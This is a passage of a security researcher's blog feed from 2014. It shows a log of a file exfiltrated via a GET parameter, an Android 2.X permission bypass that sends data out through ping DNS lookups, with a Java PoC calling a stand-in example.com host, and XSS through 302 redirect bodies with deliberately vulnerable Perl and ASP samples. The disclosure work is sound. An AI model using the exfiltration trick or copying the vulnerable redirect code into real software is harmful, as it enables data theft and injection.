XXX.XXX.XXX.XXX - - [21/Sep/2014:15:05:58 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Android SDK built for x86 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"<br />
XXX.XXX.XXX.XXX - - [21/Sep/2014:15:20:54 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; sdk Build/JB_MR1.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"</blockquote>
</div>
<div>
It works!</div>
<div>
</div>
<div>
<br /></div>
<div>
<br />
<div>
<br /></div>
</div>
</div>
Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0tag:blogger.com,1999:blog-3322964812184128700.post-71623051591830487752014-09-20T18:36:00.001+09:002014-09-21T00:36:05.744+09:00INTERNET Permission Bypass via Ping Command for Android 2.X (Sep. 2010)<i>Note: This article describes an old vulnerability of Android.</i><br />
<br />
Although, It was already fixed on Android 4.X, I'd like to write article about this because I think this is very interesting technically.<br />
I reported it to Google Sep. 2010 and be said my report makes no sense and is waste of time :-( But it looks be <a href="https://android.googlesource.com/platform/external/ping/+/1fddfb0177911d1a1f9e13904434a6f30f9cecb0%5E!">patched Nov. 2010 for 3.X and 4.X</a>. Actually, I don't know this is still available or not for Android 2.X because I can't find discussion about this on the web. But I think still available on some devices.<br />
I found this bypass on my Xperia SO-01B with Android 1.6. This is my first Android :-)<br />
At that time, most of users' Androids were 2.X or 1.X and were affected by this.<br />
<br />
<b>Internet Permission</b><br />
Generally, It is thought that Android handles all Android permission at Java. However, Android OS ha<span style="font-family: inherit;">s a </span>uid(<span style="font-family: inherit;">AID_INET) to handle this permission.</span><br />
For example, when you use nc command as an application which has no INTERNET permission, you will see permission error like below:<br />
<blockquote class="tr_bq">
# su app_31<br />
su app_31<br />
$ nc www.google.co.jp 80<br />
nc www.google.co.jp 80<br />
www.google.co.jp: forward host lookup failed: : <span style="color: red;">Permission denied</span></blockquote>
However, vulnerable ping command allows applications that has no INTERNET permission to run ping command. Actually, when you run command as an application via adb shell, permissions are different from actual. This is an example of id command result:<br />
<blockquote class="tr_bq">
uid=10035(app_35) gid=10035(app_35)</blockquote>
If this application has INTERNET permission, inet will be listed in this result:<br />
<blockquote class="tr_bq">
uid=10038(app_38) gid=10038(app_38) groups=3003(<span style="color: red;">inet</span>)</blockquote>
Note: To confirm 'groups', you should run id command from Android application. Don't use adb shell.<br />
<br />
<b>Ping command</b><br />
ping command requires elevated privilege to send and listen for control packets on a network interface. And old Android's ping command doesn't check uid. This means all application can run ping command with elevated privilege. <br />
File permission of ping on Android:<br />
<blockquote class="tr_bq">
-rwxr-<span style="color: red;">s</span>r-x root net_raw 26708 2011-05-04 23:23 ping</blockquote>
<div>
As a result, attacker can receive ping command but this packet includes few useful information. However, ping command resolves domain names before send ping packet because cannot access to the server without IP address. If an attacker has DNS servers, he can receive useful DNS query from the client. So, an attacker can receive any messages via sub domain like 'ping <i>message</i>.example.com': </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyBeSYGMx5Vl15jJMqSxTc-nBSpCcFFSn9XjG1AKugK2jBW6JO0KWBJL-a1F-xvnKUACnBngEJq8vTOzG6BpsGM0mZf0AAJvdjDVjufzgIQ7jfZgxm9QjTqvMdCh3njuTfATUZmEAa0vE-/s1600/android_ping.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyBeSYGMx5Vl15jJMqSxTc-nBSpCcFFSn9XjG1AKugK2jBW6JO0KWBJL-a1F-xvnKUACnBngEJq8vTOzG6BpsGM0mZf0AAJvdjDVjufzgIQ7jfZgxm9QjTqvMdCh3njuTfATUZmEAa0vE-/s1600/android_ping.png" height="171" width="320" /></a></div>
<div>
And DNS servers can response arbitrary IP addresses, client application can receive attacker's command.</div>
<div>
<br /></div>
<div>
PoC:</div>
<div>
<blockquote class="tr_bq">
public class PingActivity extends Activity {<br />
@Override<br />
public void onCreate(Bundle savedInstanceState) {<br />
super.onCreate(savedInstanceState);<br />
setContentView(R.layout.activity_ping);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Runtime r = Runtime.getRuntime();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Process p;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>try {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>String message = "secret_message!";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>p = r.exec("ping -c 1 -W 1 "+message+".example.com");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>} catch (IOException e1) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>//ping result<br />
}<br />
}</blockquote>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br />
<br />
<br />
<br />
<br />
<br /></div>
Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0tag:blogger.com,1999:blog-3322964812184128700.post-86725871445229457582014-09-15T22:55:00.002+09:002014-09-17T23:50:02.789+09:00Minor XSS on Apache, IIS and WeBrickJavanese version is available at <a href="http://www.slideshare.net/harupu/shibuyaxss-37764307">here</a>.<br />
<br />
These days, response body of 302 redirect, like below, is difficult to see. Modern browsers can handle 302 redirect automatically.<br />
<br />
<blockquote class="tr_bq" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3UQybjsA03bOPxejGH2vON5QoQnwuVPc_vS2VX27TRrNIWCeQFb3OMMB2NTozjxqoSxSE4wMdXHyH0KiRcniKTACCDwYcl4cwZmRLwWoUaC7BEVydC8Dk5Tbcb8ENUI8F-fPSK-0riACY/s1600/302_apache.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3UQybjsA03bOPxejGH2vON5QoQnwuVPc_vS2VX27TRrNIWCeQFb3OMMB2NTozjxqoSxSE4wMdXHyH0KiRcniKTACCDwYcl4cwZmRLwWoUaC7BEVydC8Dk5Tbcb8ENUI8F-fPSK-0riACY/s1600/302_apache.png" height="73" width="320" /></a></blockquote>
<div class="separator" style="clear: both; text-align: left;">
However, if we can see this 302 redirect page with default settings, it is a little interesting.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; mso-yfti-tbllook: 1056; width: 864px;"><colgroup><col span="5" style="mso-width-source: userset; width: 130pt;" width="173"></col></colgroup><tbody></tbody></table>
<br />
<table border="1" cellpadding="0" cellspacing="0" dir="ltr" style="border-collapse: collapse; border: 1px solid #ccc; font-family: arial,sans,sans-serif; font-size: 13px; table-layout: fixed;"><colgroup><col width="100"></col><col width="100"></col><col width="100"></col><col width="100"></col><col width="100"></col></colgroup><tbody>
<tr style="height: 21px;"><td style="border-bottom: 1px solid #000000; border-right: 1px solid #000000; padding: 2px 3px 2px 3px; vertical-align: bottom;"></td><td data-sheets-value="[null,2,"Chrome"]" style="background-color: #d9ead3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(0, 0, 0); border-top-style: solid; border-top-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">Chrome</span></td><td data-sheets-value="[null,2,"IE"]" style="background-color: #d9ead3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(0, 0, 0); border-top-style: solid; border-top-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">IE</span></td><td data-sheets-value="[null,2,"Firefox"]" style="background-color: #d9ead3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(0, 0, 0); border-top-style: solid; border-top-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">Firefox</span></td><td data-sheets-value="[null,2,"Opera(Presto)"]" style="background-color: #d9ead3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(0, 0, 0); border-top-style: solid; border-top-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">Opera(Presto)</span></td></tr>
<tr style="height: 21px;"><td data-sheets-value="[null,2,"Normal"]" style="background-color: #b6d7a8; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(0, 0, 0); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">Normal</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td></tr>
<tr style="height: 21px;"><td data-sheets-value="[null,2,"Blank"]" style="background-color: #b6d7a8; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(0, 0, 0); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">Blank</span></td><td data-sheets-value="[null,2,"OK"]" style="background-color: #fff2cc; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">OK</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"OK"]" style="background-color: #fff2cc; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">OK</span></td><td data-sheets-value="[null,2,"OK"]" style="background-color: #fff2cc; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">OK</span></td></tr>
<tr style="height: 21px;"><td data-sheets-value="[null,2,"about:blank"]" style="background-color: #b6d7a8; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(0, 0, 0); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">about:blank</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"OK"]" style="background-color: #fff2cc; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">OK</span></td></tr>
<tr style="height: 21px;"><td data-sheets-value="[null,2,"javascript:xxx"]" style="background-color: #b6d7a8; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(0, 0, 0); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; vertical-align: top;"><span style="font-size: small;">javascript:xxx</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"NG"]" style="background-color: #f3f3f3; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">NG</span></td><td data-sheets-value="[null,2,"OK(Excellent!)"]" style="background-color: #fff2cc; border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: solid; border-right-width: 1px; padding: 2px 3px; text-align: center; vertical-align: top;"><span style="font-size: small;">OK(Excellent!)</span></td></tr>
</tbody></table>
<br />
Although, Opera announced it would drop its own Presto engine, minor web servers' xss flaw can be available.<br />
<br />
<b>Apache2.4.7+Perl</b><br />
<div>
Vulnerable perl sample code: </div>
<blockquote class="tr_bq">
#! /usr/bin/perl --<br />
use CGI;<br />
my $cgi = CGI->new();<br />
my $url = $cgi->param("url");<br />
print "Location: ".$url."\n\n";</blockquote>
Normal response of Apache 302 redirect is below:<br />
<blockquote class="tr_bq">
HTTP/1.1 302 Found<br />
Date: Mon, 15 Sep 2014 13:24:05 GMT<br />
Server: Apache/2.4.7 (Ubuntu)<br />
Location: <span style="color: red;">http://www.example.com/</span><br />
Content-Length: 281<br />
Connection: close<br />
Content-Type: text/html; charset=iso-8859-1<br />
<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>302 Found</title><br />
</head><body><br />
<h1>Found</h1><br />
<p>The document has moved <a href="<span style="color: red;">http://www.example.com/</span>">here</a>.</p><br />
<hr><br />
<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address><br />
</body></html></blockquote>
It looks that famous XSS vactor '<a href="javascript:xxxx">' is available. Then, result is:<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYpiUsZrDXybsk5Vz0mLbEQM280BThbH1yftevgJg68_nkic2dMJtdceAwqXWXjuDRBabqp0Ar8_r3AdvbEK2F1H2ItLga5ss6XRX6yQ2dl49ymm1VQmLv_Wk7Q-yA9cFGYKCqUY2AkHnQ/s1600/302_apache_xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYpiUsZrDXybsk5Vz0mLbEQM280BThbH1yftevgJg68_nkic2dMJtdceAwqXWXjuDRBabqp0Ar8_r3AdvbEK2F1H2ItLga5ss6XRX6yQ2dl49ymm1VQmLv_Wk7Q-yA9cFGYKCqUY2AkHnQ/s1600/302_apache_xss.png" height="221" width="320" /></a></div>
<br />
<div>
Provably, this 302 redirect response body is hard coded on <a href="http://svn.apache.org/repos/asf/httpd/sandbox/amsterdam/d/modules/http/http_protocol.c">apache source code</a>.<br />
<br />
<b>IIS 7.5 (Windows7) + asp</b><br />
Sample code:<br />
<blockquote class="tr_bq">
<%<br />
Response.Redirect Request.QueryString("url")<br />
%></blockquote>
</div>
Result:<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrJic5wAsWTjch3FodG2si6-SXiX6p5_SOJficngMMCPFUJrAzwBAvsmOQNmm98eBM9xX_FZFqcX9uZYRlOoySea4RFrXME_PBgVH7dpob8hafiArQIBXSGYLZKN4h0qdXLgdnd-fCP5Tg/s1600/302_iis_xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrJic5wAsWTjch3FodG2si6-SXiX6p5_SOJficngMMCPFUJrAzwBAvsmOQNmm98eBM9xX_FZFqcX9uZYRlOoySea4RFrXME_PBgVH7dpob8hafiArQIBXSGYLZKN4h0qdXLgdnd-fCP5Tg/s1600/302_iis_xss.png" height="221" width="320" /></a></div>
<br />
<br />
<b>WEBrick/1.3.1</b><br />
Response:<br />
<blockquote class="tr_bq">
HTTP/1.1 302 Found<br />
X-Frame-Options: SAMEORIGIN <br />
X-Xss-Protection: 1; mode=block <br />
X-Content-Type-Options: nosniff <br />
Location: <span style="color: red;">javascript:alert(0) </span><br />
Content-Type: text/html; charset=utf-8 <br />
Cache-Control: no-cache <br />
X-Request-Id: bb768842-983e-4ef8-b0e7-795193db1a96 <br />
X-Runtime: 0.007491 <br />
Server: WEBrick/1.3.1 (Ruby/2.1.2/2014-05-08) <br />
Date: Sun, 06 Jul 2014 12:00:51 GMT <br />
Content-Length: 85 <br />
Connection: Keep-Alive<br />
<br />
<html><body>You are being <a href="<span style="color: red;">javascript:alert(0)</span>">redirected</a>.</body></html></blockquote>
<div>
Very close! It doesn't work with Presto because of CRLF but works with FireFox5.</div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg-bsRD1Ybb7Ta6HLeeQqVf84s4kBePy5J9ShxuU9NcLRFyCrItUMisJq8d-Chsp6JC7fjnGMsA82YQNCTIBGUjgFlGDohkKQ1gHgHJE2vhn92F2ZF6eSHHtnjftJ4TMw_luIZrTpHTTpD/s1600/302_webrick_xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg-bsRD1Ybb7Ta6HLeeQqVf84s4kBePy5J9ShxuU9NcLRFyCrItUMisJq8d-Chsp6JC7fjnGMsA82YQNCTIBGUjgFlGDohkKQ1gHgHJE2vhn92F2ZF6eSHHtnjftJ4TMw_luIZrTpHTTpD/s1600/302_webrick_xss.png" height="217" width="320" /></a></div>
<br />
And I still have a minor alternative :)<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0tag:blogger.com,1999:blog-3322964812184128700.post-59260533714746999432014-09-15T21:19:00.001+09:002014-09-15T23:03:05.797+09:00MovedSince previous blog has a lot of ads, I'll use here.Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0